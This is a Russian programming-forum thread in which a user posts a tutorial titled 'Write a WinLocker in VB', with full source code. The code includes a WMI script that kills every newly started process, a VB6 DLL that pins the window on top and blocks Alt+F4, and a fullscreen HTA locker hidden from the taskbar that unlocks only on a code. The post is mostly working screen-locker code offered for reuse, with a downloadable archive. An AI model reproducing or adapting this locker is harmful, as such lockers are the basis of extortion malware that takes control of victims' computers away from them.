Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Web программирование > JavaScript, Ajax
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.11.2011, 18:54   #1
dab00
Пользователь
 
Регистрация: 23.09.2009
Сообщений: 46
По умолчанию Пишем WinLocker на VB [статья]

В этой статье я расскажу, как написать простенький локер, что называется, на коленке.

Приложение будет состоять из 3-х файлов:
1. VBS-скрипта для убийства процессов.
2. Библиотеки для установки позиции окна HTML-приложения поверх всех окон.
3. HTML-приложения для растяжки во весь экран.

Ready - Steady - Go

Начнем с киллера процессов.
Открываем блокнот. Я использую Notepad++.
Пишем простенький код:
Код:
Dim objWMI, colMonitoredProcesses, objLatestProcess
Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2")
Set colMonitoredProcesses = objWMI.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent " _
		& "WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'") 	
	Do 
		Set objLatestProcess = colMonitoredProcesses.NextEvent		
		objLatestProcess.TargetInstance.Terminate()				
	Loop
Set objLatestProcess = Nothing
Set colMonitoredProcesses = Nothing
Сохраняем с именем WLProcKiller и расширением VBS.
Скрипт каждую секунду мониторит появление процессов и убивает свежие.
Можете попробовать запустить. Предварительно рекомендую запустить диспетчер задач, для того, чтобы благополучно убить процесс wscript.exe.
После запуска скрипта использовать дистпетчер задач не получится. Становится понятно для чего нам нужен этот скрипт .

Продолжаем. Зачем нам понадобилось писать библиотеку?
Из VBS получить дескриптор окна не реально, а он нам очень нужен для того, чтобы установить позицию окна поверх всех окон, поэтому создадим так называемый Wrapper - библиотеку, которая поможет нам использовать API-функции из скрипта.
Для получения хэндла используем функцию FindWindow из библиотеки user32.dll, для установки позиции окна поверх всех - функцию SetWindowPos, а для запрета использования клавиатурного сочетания Alt+F4 - функцию RegisterHotKey из той же библиотеки.
Открываем IDE VB6, создаем проект ActiveX DLL, называем проект WinLocker, класс - WLClass, пишем несложный код:
Код:
Option Explicit
'API-функция получения дескриптора окна
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
        (ByVal lpszClassName As String, ByVal lpszWindow As String) As Long
'API-функция установки позиции окна
Private Declare Function SetWindowPos Lib "user32" _
        (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
        ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
'API-функция определения горячих кнопок
Private Declare Function RegisterHotKey Lib "user32" _
        (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, _
        ByVal vk As Long) As Long

'получаем дескриптор
Public Function GetHandle(ByVal strCaption As String) As Long
    GetHandle = FindWindow(vbNullString, strCaption)
End Function

'устанавливаем окно поверх всех
Public Sub SetTop(ByVal strCaption As String)
   SetWindowPos FindWindow(vbNullString, strCaption), -1, 0, 0, 0, 0, 3
End Sub

'запрещаем использование Alt+F4
Public Sub DenyAltF4(ByVal strCaption As String)
   RegisterHotKey FindWindow(vbNullString, strCaption), 99, 1, &H73
End Sub
Комплируем DLL. Библиотека готова к использованию.
dab00 вне форума Ответить с цитированием
Старый 11.11.2011, 18:57   #2
dab00
Пользователь
 
Регистрация: 23.09.2009
Сообщений: 46
По умолчанию Продолжение

Завершаем. Пишем HTA. Открываем блокнот. Пишем код:
Код:
<html>
<head>
<title>VBSWinlocker</title>
<HTA:APPLICATION 
	ID="VBSWinlocker"
	APPLICATIONNAME="VBSWinlocker"	
    SINGLEINSTANCE="yes"
	showInTaskbar ="no"
	BORDER="none"
	SCROLL="no"			
	Version = "1.0"
/>
<style type="text/css">
	body{
	color:#fff;
	font: bold sans-serif;
	}
    #center{
    position: absolute;
    left: 42%;
    top: 48%;
    }
	.button{
	font: bold;
	color:#fff;
	background-color:000055;  	
	}
  </style>
</head>
<script language="VBScript">
	Const strDll = "WinLocker.dll" 'библиотека
	Const strWLProsMon = "WLProcKiller.vbs" 'киллер процессов
	Const strInputVal = "12345" 'код разблокировки
	
	Set wshShell = CreateObject("WScript.Shell")
	
	'процедура изменения размера главного окна при загрузке
	Sub Window_OnLoad()
		'тащим окно в левый верхний угол
		Window.MoveTo 0, 0
		'растягиваем во весь экран
		Window.ResizeTo screen.availWidth, screen.availHeight
		'покажем код разблокировки
		code.innerhtml = "Код:" & strInputVal
		'чтобы при любом раскладе загрузился интерфейс
		Window.setTimeout "SetTopPos",1, "vbscript"			
	End Sub
		
	Sub SetTopPos()	
		
		'пытаемся зарегистрировать библиотеку
		ret = RegLib(True)
		'проверяем успех регистрации
		If Not ret  Then 'если не удалось зарегистрировать
			wshShell.PopUp "Не удалось зарегистрировать библиотеку " & strDll,1,,16 
			Set wshShell = Nothing
			Window.Close
		End If
		
		'запускаем киллера процессов		
		ret = wshShell.Run("wscript.exe " & strWLProsMon)
		'проверяем успех запуска киллера
		If ret <> 0 Then 'если не удалось запустить скрипт мониторинга			
			wshShell.PopUp "Не удалось запустить " & strWLProsMon,1,,16 
			Set wshShell = Nothing
			Window.Close
		End If
				
		'создаем экземпляр класса из либы = strDll
		Set objDASetTop = CreateObject("WinLocker.WLClass")		
		'делаем окно поверх всех окон
		objDASetTop.SetTop document.title
		'запрещаем нажатие Alt+F4
		objDASetTop.DenyAltF4 document.title
		'удаляем ссылку
		Set objDASetTop = Nothing
	End Sub	
	
	'регистрация библиотеки, True - регистрируем, False - разрегистрируем
	Function RegLib(bWha)
		Dim strWha
		If bWha Then 
			strWha = "regsvr32.exe /i /s "
		Else
			strWha = "regsvr32.exe u/ /i /s "
		End If
		
		intRet = wshShell.Run(strWha & strDll )
		
		If intRet = 0 Then 'если удалось зарегистрировать - True
			RegLib = True
		Else
			RegLib = False
		End If	
	End Function
	
	'останавливаем киллера процессов
	Sub StopMon()		
		Dim objWMI, colProcess, objProcess
		Set objWMI = GetObject("winmgmts:\\.\Root\CIMV2")
		'ищем процесс мониторинга
		Set colProcess = objWMI.ExecQuery("Select * from Win32_Process Where Name ='wscript.exe' And CommandLine Like '%" & _
			strWLProsMon & "%'")
		For Each objProcess in colProcess 'побежали по полученным процессам	
			objProcess.Terminate 'убиваем процесс
		Next
		Set objWMI = Nothing	
	End Sub
	
	'проверка значения
	Sub CheckInputVal()
		If txtPW.Value = strInputVal Then
			StopMon 'останавливаем мониторинг процессов
			RegLib(False) 'разрегистрируем библиотеку
			Set wshShell = Nothing
			Window.Close 'закрываем приложение
		End If
	End Sub	
	
</script>
<!-- Рисуем нарядную градиентную заливку :) -->		
<body STYLE="filter:progid:DXImageTransform.Microsoft.Gradient (GradientType=1, StartColorStr='#000066', EndColorStr='#0000FF')">
	<div id="center"> 
		<input type="password" id="txtPW"> 
		<input type="button" class="button" value="ввод" onclick="CheckInputVal">
		<br/>	
		<div id="code"></div>
	</div>
</body> 
</html>
Не трудно догадаться, что:
SINGLEINSTANCE="yes" - запрещает одновременный запуск одноименных HTA
showInTaskbar="no" - запрещает отображение приложения в панели задач
BORDER="none" - убирает границу окна приложения
SCROLL="no" - убирает скролл

Сохраняем файл с расширением HTA. Наш локер готов. Что получилось - на скриншоте ниже и во вложении.
Вложения
Тип файла: zip VBWinLocker.zip (5.9 Кб, 273 просмотров)
dab00 вне форума Ответить с цитированием
Старый 12.01.2012, 19:30   #3
чегевара21
Новичок
Джуниор
 
Регистрация: 12.01.2012
Сообщений: 1
По умолчанию

Пока не палитсо !!!
Нижняя панель не скрылась и пуск, проводник работает.

Последний раз редактировалось чегевара21; 12.01.2012 в 19:56.
чегевара21 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пишем программу Mistin Общие вопросы Delphi 3 26.05.2011 19:52
Пишем свой класс Claster Помощь студентам 0 18.05.2011 18:19
Статья: Низкоуровневое сетевое программирование. Пишем клиент/серверное приложение на сокетах Беркли oleg kutkov C/C++ Сетевое программирование 42 22.01.2011 00:35